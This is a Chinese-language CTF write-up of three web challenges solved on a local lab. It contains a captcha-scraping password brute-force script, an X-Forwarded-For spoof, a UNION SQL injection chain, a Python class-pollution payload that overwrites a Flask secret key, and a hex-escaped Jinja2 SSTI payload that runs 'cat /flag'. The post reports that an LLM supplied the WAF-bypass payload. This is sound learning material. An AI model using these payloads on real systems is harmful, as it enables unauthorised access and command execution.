ctfer

tsctf-j-25 web-write-up

2026-09-26 #dev

在这个中秋假的第二天,经历了两天的出门瞎逛后,kur0sia决定继续他的ctf题目,并用docker在本地靶场做了第一道web题。他尚且不知道自己能不能在国庆后的招新赛中进入天璇merak,也不知道自己使用agent的实际操作到底能不能通过之后的wp,就这样在宿舍里头看着我们的题目……总之,clo是决定要先看看去年题,来准备一下招新了!

T1-EZ_login

这题说实话可一点都不easy…综合程度比moe难了不少:

刚进入:

刚进入显示一个登陆系统,有用户名,密码,验证码三栏。用户名就是admin,密码未知,验证码……看着挺好的。我们没有入手点,先看源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<body>
<div class="login-container">
<h2>管理员登录</h2>

<form action="/login" method="post">
<div class="form-group">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" value="admin" required>
</div>
<div class="form-group">
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>
</div>
<div class="form-group">
<label>验证码:</label>
<div class="captcha-images">

<img src="/static/captcha_images/6.png" alt="captcha-digit">

<img src="/static/captcha_images/2.png" alt="captcha-digit">

<img src="/static/captcha_images/1.png" alt="captcha-digit">

<img src="/static/captcha_images/3.png" alt="captcha-digit">

</div>
<input type="text" id="captcha" name="captcha" required>
</div>
<button type="submit">登录</button>
</form>
</div>
</body>

注意到body是这么写的,但其中验证码非常神奇,是由对应的数字对应上具体图片形成“验证码”,我们可以直接使用正则表达式把每次的验证码抓出来,事实上是形同虚设了。

试验登录逻辑:

我们不知道密码,但是这么一个可怜的本地网站可以直接爆破干穿。这里我们先试验一下登录的逻辑:

  • 在验证码正确但是密码错误的情况下,会返回账号或密码错误;
  • 在验证码错误,密码不知道(废话,知道我一会还爆破个蛋)的情况下,会返回验证码错误。
  • 试着抓一个包,然后发现,对于每次不同的验证码,在反复使用任意一次cookie的情况下,可以一直登录(后端没有机制杀掉老旧cookie)。感谢tsctf官方的wp(笑

这样一来我们就可以放心的写一个爆破的简单脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re, requests

URL = "http://127.0.0.1:1000/login"
WORDLIST = "/home/clolinux/rockyou.txt"

page = requests.get(URL, timeout=10)
cookie = page.cookies.get("session")
captcha = "".join(re.findall(r"/static/captcha_images/(\d)\.png", page.text))

with open(WORDLIST, "r", encoding="latin-1") as f:
for i, line in enumerate(f, 1):
pw = line.rstrip("\r\n")
rr = requests.post(URL,
data={"username": "admin",
"password": pw, # 修复③:真的把 pw 发出去
"captcha": captcha}, # 修复⑤:带上 captcha
cookies={"session": cookie}, timeout=10)

if "验证码错误" in rr.text:
raise SystemExit(f"[-] 第 {i} 次请求验证码失效")
if "用户名或密码错误" in rr.text:
continue
print(f"[+] 成功!password = {pw}")

我们可以得到密码为simple,登录,发现:“你似乎不是本地管理员”。所以我们在请求里加入XFF即可,token里头就是一个没加密的flag。

P.S:一些dsh的补充:

验证码的安全价值不在"图片长得难不难认",而在于答案是否只为服务端所知、且只用一次。这道题的图片连干扰线都懒得加,答案还是服务端亲手写成文字递过来的——它看起来像一道门,实际是一张贴在门上的钥匙。

无状态 Cookie 在原理上无法表达"一次性"。Cookie 能携带数据,不能消费数据——没有"这个值已用过"的概念。要一次性就必须有服务端状态(Redis 存 sid→answer,校验后 DEL + 过期)。

信息不只在页面里,也在响应头里。登录后页面"啥也没有",但 Set-Cookie 里躺着 token。这是黑盒题的基本功:抓包看完整响应,不只盯渲染结果。

T2-ez_sql

–updated on 9-27

打开后发现是一个叫Vulnerability Database的玩意,反正根据题目来说就是一个sql注入。首先规规矩矩尝试1~8,发现是随便写了些web的具体漏洞。但是和flag没什么关系。但既然是sql,我们自然是先用原来那几步试试的好:

1' # 这个正常,说明可以带引号(事实上是下一个order by的时候,数字型没用

1' Order by 3 ; # 到4报错,说明就只有显示的那三行

-1' UNION SELECT 111,schema_name,database() from information_schema.schemata; #

-1' UNION SELECT 111,database(),table_name from information_schema.tables where table_schema = database(); #

-1' UNION SELECT 111,database(),column_name from information_schema.columns where table_schema = database() and table_name = "flag"; #

一直到这里都没什么问题,我们满怀期待地尝试-1' union select 111, 222, flag from flag; # 试图就此搞到flag。但是……

但是到这里,发现union突然被ban了,怎么你之前就不ban😡

1
2
*No results found for ID: -1' union select 111, 222, flag from flag; #*
Error: Illegal mix of collations for operation 'UNION'

询问ds网页版老师,发现:

你遇到的 Illegal mix of collations for operation 'UNION' 错误,核心原因是SQL语句中参与 UNION 查询的各列,其字符集(Collation)不一致,MySQL 无法决定用哪一个规则来合并结果。

🧐 为什么会报这个错?

在 SQL 注入中,你构造的 -1' union select 111, 222, flag from flag; # 会和原查询合并。原查询的列(如 first_name)有自己的字符集,而你注入的 flag 列或字符串常量 111、222 也可能有各自的字符集。当这些字符集不匹配时,UNION 操作就无法进行,从而抛出此错误。

这在 DVWA 等靶场中很常见,因为靶场数据库的 users 表和 information_schema 等系统表的字符集可能不同(例如一个是 utf8_general_ci,另一个是 utf8_unicode_ci)

改成-1' union select 111, 222, CONVERT(flag using utf8) from flag; # convert一下编码即可。

T3-ez_py

–updated on 9-28

这题真的ez吗……好吧可能只是我太菜了。

打开题目仍然是一个登陆页面,我们先查看源码,发现一个去/source的提示,之后得到一堆源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import random
import string
from flask import Flask, request, jsonify, render_template_string
from functools import wraps
import jwt

app = Flask(__name__)
app.config['SECRET_KEY'] = ''.join(random.sample(string.ascii_letters + string.digits, 24))

# 用户数据库
users = {
"c1432": "123456"
}

def make_response(message: str, code: int = 200, data=None):
"""
Unified response format
"""
resp = {'message': message}
if data is not None:
resp['data'] = data
return jsonify(resp), code

def waf_filter(input_str):
if not input_str:
return input_str
input_str = str(input_str)
dangerous_strings = [
'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins', 'import', 'eval',
'exec', 'open', 'file', 'read', 'write', 'os', 'subprocess', 'config', 'request',
'session', 'g', 'url_for', 'get_flashed_messages','{%', '%}', '{#', '#}', '{{', '}}'
]
for string in dangerous_strings:
if string in input_str:
return "WAF blocked: Dangerous pattern detected"
filtered = input_str.replace('<script>', '').replace('</script>', '')
filtered = filtered.replace('javascript:', '')
filtered = filtered.replace('onload=', '')
filtered = filtered.replace('onerror=', '')
if "hello" in filtered:
filtered = filtered.replace("hello", "{{")
if "hacker" in filtered:
filtered = filtered.replace("hacker", "}}")
return filtered

class User:
def __init__(self, role='user'):
self.username = None
self.password = None
self.role = role

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def token_required(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.headers.get('Authorization')
if not token:
return make_response('Authorization token is required.', 401)
try:
token = token.split(" ")[1] # 提取令牌,假设格式为 'Bearer <token>'
data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
current_user = data['user']
role = data['role']
except Exception as e:
return make_response(f'Invalid token: {str(e)}', 401)
return f(current_user, role, *args, **kwargs)
return decorated

@app.route('/register', methods=['POST'])
def register():
data = request.json
if not data:
return make_response('Username and password are required.', 400)
user = User()
merge(data, user)
if not user.username or not user.password:
return make_response('Username and password are required.', 400)
users[user.username] = user.password
return make_response('Registration successful.', 201)

@app.route('/login', methods=['POST'])
def login():
auth = request.json
if not auth:
return make_response('Username and password are required.', 400)
username = auth.get('username')
password = auth.get('password')
if not username or not password:
return make_response('Username and password are required.', 400)
if users.get(username) != password:
return make_response('Invalid username or password.', 401)
token = jwt.encode(
{
'user': username,
'role': 'user'
},
app.config['SECRET_KEY'],
algorithm="HS256"
)
return jsonify({'token': token})

@app.route('/protected', methods=['GET'])
@token_required
def protected(current_user, role):
if role != 'admin':
return make_response(f'Access denied: User {current_user} ({role}) does not have sufficient privileges.', 403)
filtered_user = waf_filter(current_user)
return render_template_string(f"Hello, {filtered_user}! You have access to this protected resource.")

@app.route('/')
def index():
with open('source/index.html', 'r', encoding='utf-8') as f:
return f.read()

@app.route('/register')
def register_page():
with open('source/register.html', 'r', encoding='utf-8') as f:
return f.read()

@app.route('/success')
def success_page():
with open('source/success.html', 'r', encoding='utf-8') as f:
return f.read()

@app.route('/source')
def show_source():
with open(__file__, 'r', encoding='utf-8') as f:
return f.read()

if __name__ == '__main__':
app.run(host='0.0.0.0')

看上去非常长。我们来简要分析一下:

  1. 这段代码本质上仍然是一个flask应用,其中有位于app/config下的一个SECRET_KEY键值,看名字像是给JWT签名用的~~(问就是moe刚写过一个)~~
  2. 后面有一段waf,里头屏蔽了一大堆关键字,这里先按下不表。但有注意到后面有对于hello hacker的后门,可以用这个替代被ban掉的两个花括号。
  3. 注意到后面有一个令人开心的merge函数,虽然还不太能看懂它是怎么起作用的,但是根据网上的文章,这个函数的作用是进行一个递归合并,可以利用类似flask原型链污染的方法来污染下面的属性,是一个利用点。
  4. 继续往下,在token_required这个函数里头,会通过读Authorization这个属性来获取令牌(Bearer)。
  5. 而在访问/protected时,这时会调用token_required,然后比对里面的user和role,当role==admin时才会获得权限。但是这里直接使用了{filtered_user}作为模板显示,可以考虑在这里构造最终的payload,利用SSTI在这里执行命令,打印出flag。

到这里,思路已经很明显了:为了利用这个SSTI获取flag,我们需要把这个token构造出来,那就需要获取签名 -> 找出SECRET_KEY -> 利用merge污染SECRET_KEY -> 设法绕过WAF从而用这个密钥给payload签名。

笔者在这里曾经尝试利用SSTI打出来config,从而暴露出SECRET_KEY。但是这是当时没理清楚思路的想法,结果看着看着发现要这么干就得先有token,属于一根筋两头堵的问题,思索良久后询问LLM才知道可以污染它…

我们先不管waf,构造如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"user": "hellocat /flaghacker",
"role": "admin",
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"123456"
}
}
}
}
}

我们会发现,这样可以成功修改密钥,从而签上名通过校验。但是在waf一步会被拦下来WAF blocked: Dangerous pattern detected(问为什么不试试env?当然是试过了发现啥也没有😭

这是我们求助万能的LLM老师:

正常 SSTI Payload 为什么会被拦?

正常读 flag 的 payload 是:

1
{{lipsum.__globals__['os'].popen('cat /flag').read()}}

这里面包含了大量黑名单词:

  • globals
  • os
  • read
  • {{`、`}}

所以直接被 WAF 拦截。

|attr + 十六进制转义

Jinja2 有一个过滤器 |attr,可以按属性名访问对象属性:

1
{{ lipsum|attr('__globals__') }}

这等价于 lipsum.__globals__。

但 __globals__ 本身在黑名单里(globals),所以不能明文写。
于是把属性名写成 十六进制转义字符串:

1
{{ lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }}

'\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f' 在 Python/Jinja2 字符串解析后就是 __globals__。
WAF 检查时看到的是一堆 \x5f,里面没有 globals 这个连续子串,所以不触发黑名单。

同理:

  • '\x6f\x73' → os
  • '\x70\x6f\x70\x65\x6e' → popen
  • '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67' → cat /flag
  • '\x72\x65\x61\x64' → read

最终 payload 变成:

1
{{ lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x6f\x73')|attr('\x70\x6f\x70\x65\x6e')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')|attr('\x72\x65\x61\x64')() }}

不过这LLM不知道怎么吧{{}}带上了,在他给的W2倒是有,非常怪异。这里我们直接把{{}}换成善良的hellohacker,然后再次注入即可拿到flag。

评论
也许会发生一些好事!
分享

评论